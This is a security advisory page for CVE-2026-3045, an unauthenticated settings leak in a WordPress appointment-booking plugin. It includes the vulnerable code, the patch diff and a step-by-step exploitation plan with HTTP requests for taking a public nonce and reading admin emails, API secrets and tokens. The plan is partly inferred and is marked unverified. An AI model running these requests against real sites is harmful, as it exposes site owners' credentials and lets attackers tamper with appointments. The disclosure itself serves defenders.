CVE-2026-3045

Appointment Booking Calendar <= 1.6.9.29 - Missing Authorization to Unauthenticated Sensitive Information Exposure via Settings REST API Endpoint

highMissing Authorization
7.5
CVSS Score
7.5
CVSS Score
high
Severity
1.6.10.0
Patched in
1d
Time to patch

Description

The Appointment Booking Calendar — Simply Schedule Appointments plugin for WordPress is vulnerable to unauthorized access of sensitive data in all versions up to and including 1.6.9.29. This is due to two compounding weaknesses: (1) a non-user-bound `public_nonce` is exposed to unauthenticated users through the public `/wp-json/ssa/v1/embed-inner` REST endpoint, and (2) the `get_item()` method in `SSA_Settings_Api` relies on `nonce_permissions_check()` for authorization (which accepts the public nonce) but does not call `remove_unauthorized_settings_for_current_user()` to filter restricted fields. This makes it possible for unauthenticated attackers to access admin-only plugin settings including the administrator email, phone number, internal access tokens, notification configurations, and developer settings via the `/wp-json/ssa/v1/settings/{section}` endpoint. The exposure of appointment tokens also allows an attacker to modify or cancel appointments.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.6.9.29
PublishedMarch 12, 2026
Last updatedMarch 13, 2026

What Changed in the Fix

Changes introduced in v1.6.10.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-3045 (Simply Schedule Appointments) ## 1. Vulnerability Summary The **Simply Schedule Appointments** plugin (up to 1.6.9.29) contains a missing authorization vulnerability in its Settings REST API. The vulnerability arises from two issues: 1. **Public Nonce Le…

Show full research plan

Exploitation Research Plan: CVE-2026-3045 (Simply Schedule Appointments)

1. Vulnerability Summary

The Simply Schedule Appointments plugin (up to 1.6.9.29) contains a missing authorization vulnerability in its Settings REST API. The vulnerability arises from two issues:

  1. Public Nonce Leakage: A nonce (intended for public booking/embed functionality) is exposed to unauthenticated users via the /wp-json/ssa/v1/embed-inner REST endpoint.
  2. Incomplete Authorization Filtering: The SSA_Settings_Api::get_item() method uses TD_API_Model::nonce_permissions_check() for its permission_callback. This check validates the public nonce. However, while the collection endpoint (get_items) filters sensitive fields using remove_unauthorized_settings_for_current_user(), the single-item endpoint (get_item) fails to perform this filtering.

This allows an unauthenticated attacker to retrieve the full configuration for any settings section, exposing admin emails, API keys, notification templates, and internal tokens.

2. Attack Vector Analysis

  • Endpoint: /wp-json/ssa/v1/settings/{section}
  • Method: GET
  • Preconditions: None (Unauthenticated).
  • Vulnerable Parameter: The {section} (ID) path parameter.
  • Required Header: X-WP-Nonce (using the leaked public nonce).
  • Target Sections: general, notifications, developer, google_calendar, stripe, paypal, mailchimp.

3. Code Flow

  1. Registration: In includes/class-settings-api.php, register_routes() registers:
    • Route: ssa/v1/settings/(?P<id>[a-zA-Z0-9_-]+)
    • Permission Callback: get_item_permissions_check
    • Controller Method: get_item
  2. Permission Check: get_item_permissions_check calls TD_API_Model::nonce_permissions_check( $request ). This validates the nonce provided in the request.
  3. Execution: The get_item( $request ) method (Lines 118-132) executes:
    public function get_item( $request ) {
        $settings = $this->plugin->settings->get(); // Retrieves all settings
        if ( empty( $settings[$request['id']] ) ) { ... }
        return array(
            'response_code' => 200,
            'error' => '',
            'data' => $settings[$request['id']], // Returns the RAW section data
        );
    }
    
  4. The Flaw: Unlike get_items() (Line 104), get_item() does not call $this->plugin->settings->remove_unauthorized_settings_for_current_user( $settings ). It returns the requested section data verbatim to anyone with a valid nonce.

4. Nonce Acquisition Strategy

The vulnerability description explicitly states the nonce is leaked via a public REST endpoint.

  1. Step 1: Fetch the public nonce.
    Request GET /wp-json/ssa/v1/embed-inner.
  2. Step 2: Parse the response.
    The response is expected to be a JSON object. Based on the vulnerability description, look for a key named public_nonce (inferred) or similar.
    • Note: If the REST endpoint is not active, the alternative is to check the homepage or a page with the [ssa_booking] shortcode for localized JS objects.

5. Exploitation Strategy

Step 1: Discover the Nonce

GET /wp-json/ssa/v1/embed-inner HTTP/1.1
Host: localhost:8080

Expected Response: JSON containing a nonce.
Assumption (Inferred): The response JSON contains {"public_nonce": "abcdef1234"}.

Step 2: Extract Sensitive Settings

Using the nonce from Step 1, query the restricted settings sections.

Request (Notifications):

GET /wp-json/ssa/v1/settings/notifications HTTP/1.1
Host: localhost:8080
X-WP-Nonce: abcdef1234

Target Sections:

  • /wp-json/ssa/v1/settings/notifications (Reveals email templates and SMTP info)
  • /wp-json/ssa/v1/settings/google_calendar (Reveals Google API Client IDs/Secrets)
  • /wp-json/ssa/v1/settings/developer (Reveals internal debugging and diagnostic data)
  • /wp-json/ssa/v1/settings/general (Reveals admin email and phone)

6. Test Data Setup

To verify the exposure, populate sensitive settings using WP-CLI:

# Set a dummy admin email in SSA settings
wp option patch update ssa_settings general '{"admin_email":"vuln-admin@example.com","admin_phone":"555-0199"}' --format=json

# Populate notification settings
wp option patch update ssa_settings notifications '{"email_from_address":"attacker-leak@example.com"}' --format=json

# Populate Google Calendar settings (if possible via CLI)
wp option patch update ssa_settings google_calendar '{"client_id":"LEAKED_CLIENT_ID_12345","client_secret":"LEAKED_SECRET_9999"}' --format=json

7. Expected Results

  • Success: The server returns a 200 OK response with a JSON body containing the data key. Inside data, you will see the full array of settings for the requested section, including fields that should be restricted to administrators.
  • Exposure Evidence: Look for keys like admin_email, client_id, client_secret, or token.

8. Verification Steps

After the HTTP request, verify the data matches the database state:

# Check the actual option value to confirm it matches the leaked data
wp option get ssa_settings --format=json | jq '.[ "notifications" ]'

9. Alternative Approaches

If /wp-json/ssa/v1/embed-inner does not yield a nonce:

  1. Frontend Extraction:
    • Create a page with the booking shortcode: wp post create --post_type=page --post_status=publish --post_content='[ssa_booking]' --post_title='Booking'
    • Use browser_navigate to visit the page.
    • Use browser_eval("window.ssa_booking_app?.public_nonce") (inferred JS key) to find the nonce.
  2. Brute-force Section IDs: If notifications or general don't work, try other slugs found in the Simply_Schedule_Appointments property list in simply-schedule-appointments.php (e.g., stripe, paypal, sms, mailchimp).
Research Findings
Static analysis — not yet PoC-verified

Summary

The Simply Schedule Appointments plugin for WordPress is vulnerable to unauthenticated sensitive information exposure due to a missing authorization check in the settings REST API. An attacker can obtain a public nonce from an embed endpoint and use it to access administrative settings sections, such as notification templates and API credentials, because the single-item retrieval method fails to filter restricted data.

Vulnerable Code

// includes/class-settings-api.php lines 118-132
public function get_item( $request ) {
	$settings = $this->plugin->settings->get();
	if ( empty( $settings[$request['id']] ) ) {
		return array(
			'response_code' => 404,
			'error' => 'section-missing',
			'data' => array(),
		);
	}

	return array(
		'response_code' => 200,
		'error' => '',
		'data' => $settings[$request['id']],
	);
}

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/simply-schedule-appointments/1.6.9.29/includes/class-settings-api.php	2023-01-31 22:17:48.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/simply-schedule-appointments/1.6.10.0/includes/class-settings-api.php	2026-03-11 18:09:58.000000000 +0000
@@ -128,6 +128,7 @@
 	 */
 	public function get_item( $request ) {
 		$settings = $this->plugin->settings->get();
+		$settings = $this->plugin->settings->remove_unauthorized_settings_for_current_user( $settings );
 		if ( empty( $settings[$request['id']] ) ) {
 			return array(
 				'response_code' => 404,

Exploit Outline

The exploit involves two main steps for an unauthenticated attacker. First, the attacker sends a GET request to the public endpoint `/wp-json/ssa/v1/embed-inner` to retrieve a valid REST API nonce. Second, using this nonce in the 'X-WP-Nonce' header, the attacker sends a GET request to `/wp-json/ssa/v1/settings/{section}`, where {section} is a targeted settings group like 'notifications', 'general', or 'google_calendar'. Because the `get_item` method in `SSA_Settings_Api` validates the nonce but fails to filter restricted fields via `remove_unauthorized_settings_for_current_user()`, the server returns the raw, sensitive configuration data for that section.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.